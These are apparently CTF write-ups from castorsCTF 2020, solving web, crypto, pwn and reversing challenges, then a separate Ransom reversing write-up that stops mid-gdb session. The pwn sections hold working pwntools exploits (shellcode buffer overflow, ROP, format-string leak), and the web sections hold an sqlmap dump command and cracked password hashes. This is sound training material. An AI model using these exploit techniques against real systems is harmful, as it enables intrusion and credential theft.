We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Ransom
## Description
Author: Krekel
Agent, we raided one the hideouts of a wanted cyber criminal. During the raid, we extracted what appears to be a POC ransomware. It appears the he left a picture for us, but it is encrypted. It is your task to reverse engineering this sample and find out what secrets lie within the file. We managed to capture some network traffic generated by the malware. Use it during your investigation.
We are counting on you.
## What are we dealing with?
On its surface, this sounds really similar to [NotWannasigh](https://github.com/dobsonj/ctf/tree/master/writeups/2020/wpictf/NotWannasigh). NotWannasigh generates a seed, sends the seed to a remote server, and uses that seed in an XOR cipher to encrypt the flag.
What do these files look like?
```kali@kali:~/Downloads/castors/ransom$ ls -ltotal 6884-rw-r--r-- 1 kali kali 1441 May 30 10:07 flag.png-rwxr-xr-x 1 kali kali 7032295 May 30 10:07 ransom-rw-r--r-- 1 kali kali 8624 May 30 10:07 traffic.pcapngkali@kali:~/Downloads/castors/ransom$ file ransom ransom: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=OkZVlnHVsFk7SwMgDFUE/zOQleogVV1bY3TRRt3zB/eokanke6dUV5eVl_GLmS/lAUrQjYXz8GBWDb_7NcR, not strippedkali@kali:~/Downloads/castors/ransom$ file flag.png flag.png: datakali@kali:~/Downloads/castors/ransom$ file traffic.pcapng traffic.pcapng: pcapng capture file - version 1.0```
We have an encrypted `flag.png`, a traffic capture which must have the key, and the binary. Ew, a 7 MB Go binary.
## Analysis
Open the binary in Ghidra and let it analyze. This takes a few minutes to run. Look for main and these 4 functions immediately stick out:
* main.encrypt* main.getSeed* main.main* main.send
Let's start with `main.encrypt`:
```cvoid main.encrypt(char *__block,int __edflag)
{ ulong *puVar1; bool bVar2; ulong uVar3; long lVar4; long *plVar5; long in_FS_OFFSET; long *local_4d8; ulong local_4c8; long local_4c0; byte local_480 [24]; undefined local_468 [1008]; ulong local_78; ulong local_70; long local_68; long local_58 [2]; long local_48; long local_38; ulong local_28; undefined **local_20; ulong local_18; undefined **local_10; puVar1 = (ulong *)(*(long *)(in_FS_OFFSET + 0xfffffff8) + 0x10); if (local_468 < (undefined *)*puVar1 || local_468 == (undefined *)*puVar1) { runtime.morestack_noctxt(); main.encrypt(__block,__edflag); return; } local_28 = 0; local_20 = (undefined **)0x0; local_18 = 0; local_10 = (undefined **)0x0; math/rand.(); os.OpenFile(); local_70 = local_4c8; if (local_4c0 != 0) { local_38 = local_4c0; if (local_4c0 != 0) { local_38 = *(long *)(local_4c0 + 8); } local_4c8 = 1; fmt.Fprintln(); } local_10 = &PTR_os._006dab40; local_18 = local_70; os.OpenFile(); local_78 = local_4c8; if (local_4c0 != 0) { local_48 = local_4c0; if (local_4c0 != 0) { local_48 = *(long *)(local_4c0 + 8); } local_4c8 = 1; fmt.Fprintln(); } local_20 = &PTR_os._006dab40; local_28 = local_78; runtime.duffzero(0,local_480); plVar5 = local_4d8; while( true ) { uVar3 = local_4c8; local_4d8 = (long *)0x0; os.(); if (local_4c0 == 0) { bVar2 = false; } else { if (io.EOF._0_8_ == local_4c0) { local_4d8 = io.EOF._8_8_; runtime.ifaceeq(); bVar2 = true; } else { bVar2 = true; } } if (bVar2) { local_58[0] = local_4c0; if (local_4c0 != 0) { local_58[0] = *(long *)(local_4c0 + 8); } local_4d8 = local_58; local_4c8 = 1; fmt.Fprintln(); } if (uVar3 == 0) break; lVar4 = 0; while (lVar4 < 0x400) { local_480[lVar4] = local_480[lVar4] ^ (byte)plVar5; math/rand.(); lVar4 = lVar4 + 1; plVar5 = local_4d8; } if (0x400 < uVar3) { runtime.panicSliceAcap(); runtime.deferreturn(); return; } os.(); if (local_4c0 != 0) { local_68 = local_4c0; if (local_4c0 != 0) { local_68 = *(long *)(local_4c0 + 8); } local_4c8 = 1; fmt.Fprintln(); } } os.(); os.(); return;}```
It's an XOR cipher. `plVar5` gets initialized to something (not immediately obvious what), and then each iteration calls a `math/rand` function to set the new value of `plVar5` after the XOR.
```c while (lVar4 < 0x400) { local_480[lVar4] = local_480[lVar4] ^ (byte)plVar5; math/rand.(); lVar4 = lVar4 + 1; plVar5 = local_4d8; }```
We'll need the seed for this. Let's look at `traffic.pcapng` with Wireshark. It makes a GET request to `/seed`:

Then receives a response of `263\n`:

There are a series of GET requests and responses like this. Here are the GET responses in order:
```263\n1504\n992\n668\n1337\n```
There is then a POST request that sends `{seed:1337}` to the server and receives `"ok"\n` as a response.

Look at the timestamps for these packets though. There are several GET requests, but with no follow-up POST request, spaced about a second apart. Then 17 seconds pass, and it looks like a successful test with the seed `1337`.
Let's look at `main.getSeed`.
```cvoid main.getSeed(void)
{ long **pplVar1; long in_FS_OFFSET; long local_a0; long local_98; long local_88; long local_38 [2]; long local_28; undefined8 local_18; code **local_10; pplVar1 = (long **)(*(long *)(in_FS_OFFSET + 0xfffffff8) + 0x10); if (local_38 < *pplVar1 || local_38 == *pplVar1) { runtime.morestack_noctxt(); main.getSeed(); return; } local_18 = 0; local_10 = (code **)0x0; net/http.(); if (local_98 != 0) { if (local_98 != 0) { local_98 = *(long *)(local_98 + 8); } local_28 = local_98; fmt.Fprintln(); return; } local_10 = (code **)(*(long *)(local_a0 + 0x40) + 0x18); local_18 = *(undefined8 *)(local_a0 + 0x48); runtime.convI2I(); io/ioutil.readAll(); if (local_88 != 0) { if (local_88 != 0) { local_88 = *(long *)(local_88 + 8); } local_38[0] = local_88; fmt.Fprintln(); } runtime.slicebytetostring(); strings.Replace(); strconv.Atoi(); fmt.Fprintln(); (**local_10)(); return;}```
The `net/http.()` call must issue the GET request. [ioutil.readAll](https://golang.org/pkg/io/ioutil/#ReadAll) reads until error or EOF. `strings.Replace();` probably replaces `\n` with '\0'. `strconv.Atoi()` converts that string to an integer.
Let's see where `main.getSeed` is called from `main.main`:
```cvoid main.main(undefined8 param_1,undefined8 param_2)
{ ulong *puVar1; int __flags; size_t __n; int __edflag; undefined4 uVar2; int __fd; undefined4 uVar3; long in_FS_OFFSET; long local_40; short *local_38; long local_30; uVar3 = (undefined4)((ulong)param_1 >> 0x20); __fd = (int)param_1; uVar2 = (undefined4)((ulong)param_2 >> 0x20); __edflag = (int)param_2; __flags = (int)*(long *)(in_FS_OFFSET + 0xfffffff8); puVar1 = (ulong *)(*(long *)(in_FS_OFFSET + 0xfffffff8) + 0x10); if ((undefined *)*puVar1 <= register0x00000020 && (undefined *)register0x00000020 != (undefined *)*puVar1) { main.getSeed(); main.send(__fd,(void *)CONCAT44(uVar2,__edflag),__n,__flags); if ((((local_40 == 0) || (local_30 != 3)) || (*local_38 != 0x6b6f)) || (*(char *)(local_38 + 1) != '\n')) { time.Now(); math/rand.(); } else { math/rand.(); } main.encrypt((char *)CONCAT44(uVar3,__fd),__edflag); return; } runtime.morestack_noctxt(); main.main(); return;}```
`main.main` calls `main.getSeed` first, and if it fails any of these checks, then it appears to seed with the timestamp of the local machine.
```c if ((((local_40 == 0) || (local_30 != 3)) || (*local_38 != 0x6b6f)) || (*(char *)(local_38 + 1) != '\n')) {```
`0x6b6f` is `ko`, or "ok" backwards. This is just an endianness thing--network byte order is big endian, and host byte order on x86 is little endian.
```$ perl -e 'print "\x6b\x6f";'ko```
The expected values break down to:
```local_30 = 0x3...local_38 = 0x6b6f // 'ok'local_38+1 = '\n'local_40 = '\0'```
This must be the result of the POST request made by `main.send`, and we haven't looked at that function yet.
```cssize_t main.send(int __fd,void *__buf,size_t __n,int __flags)
{ ulong *puVar1; ssize_t sVar2; int __flags_00; size_t __n_00; long in_FS_OFFSET; undefined8 uStack0000000000000010; undefined8 uStack0000000000000018; undefined8 local_b0; undefined8 local_a8; undefined8 *local_88; long local_80; undefined local_40 [8]; undefined8 *local_38; undefined8 local_30; long local_28; undefined8 local_18; code **local_10; __flags_00 = (int)*(long *)(in_FS_OFFSET + 0xfffffff8); puVar1 = (ulong *)(*(long *)(in_FS_OFFSET + 0xfffffff8) + 0x10); if ((undefined *)*puVar1 <= local_40 && local_40 != (undefined *)*puVar1) { local_18 = 0; local_10 = (code **)0x0; uStack0000000000000010 = 0; uStack0000000000000018 = 0; strconv.FormatInt(); runtime.concatstring3(); runtime.stringtoslicebyte(); local_30 = local_b0; runtime.newobject(); local_88[1] = local_a8; local_88[2] = 0x6c3c65; if (runtime.writeBarrier._0_4_ == 0) { *local_88 = local_30; } else { runtime.gcWriteBarrier(); } net/http.(); local_38 = local_88; if (local_80 != 0) { if (local_80 != 0) { local_80 = *(long *)(local_80 + 8); } local_28 = local_80; fmt.Fprintln(); } local_10 = (code **)(local_38[8] + 0x18); local_18 = local_38[9]; runtime.convI2I(); io/ioutil.readAll(); runtime.slicebytetostring(); strings.Replace(); sVar2 = (**local_10)(); return sVar2; } runtime.morestack_noctxt(); sVar2 = main.send(__fd,__buf,__n_00,__flags_00); return sVar2;}```
It calls `strconv.FormatInt` to return a string representation of the int, then `runtime.concatstring3` to concatenate 3 strings, then `runtime.stringtoslicebyte` to chop that up into bytes. I'm guessing this is where it creates the POST request body by concatenating `{seed:` + `1337` + `}`.
What can we find out with `gdb`?
```kali@kali:~/Downloads/castors/ransom$ gdb ransom GNU gdb (Debian 9.1-3) 9.1Copyright (C) 2020 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from ransom...warning: Missing auto-load script at offset 0 in section .debug_gdb_scriptsof file /home/kali/Downloads/castors/ransom/ransom.Use `info auto-load python-scripts [REGEXP]' to list them.(gdb) break main.encryptBreakpoint 1 at 0x640280: file /home/krekel/Documents/coding/ctf2020-challenges/challenges/re/ransom/ransom.go, line 57. (gdb) runStarting program: /home/kali/Downloads/castors/ransom/ransom [Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".[New Thread 0x7fffd1150700 (LWP 75408)][New Thread 0x7fffd094f700 (LWP 75409)][New Thread 0x7fffcbfff700 (LWP 75410)][New Thread 0x7fffcb7fe700 (LWP 75411)][New Thread 0x7fffcaffd700 (LWP 75412)][New Thread 0x7fffca7fc700 (LWP 75413)]Get "http://192.168.0.2:8081/seed": dial tcp 192.168.0.2:8081: i/o timeoutPost "http://192.168.0.2:8081/seed": dial tcp 192.168.0.2:8081: i/o timeout
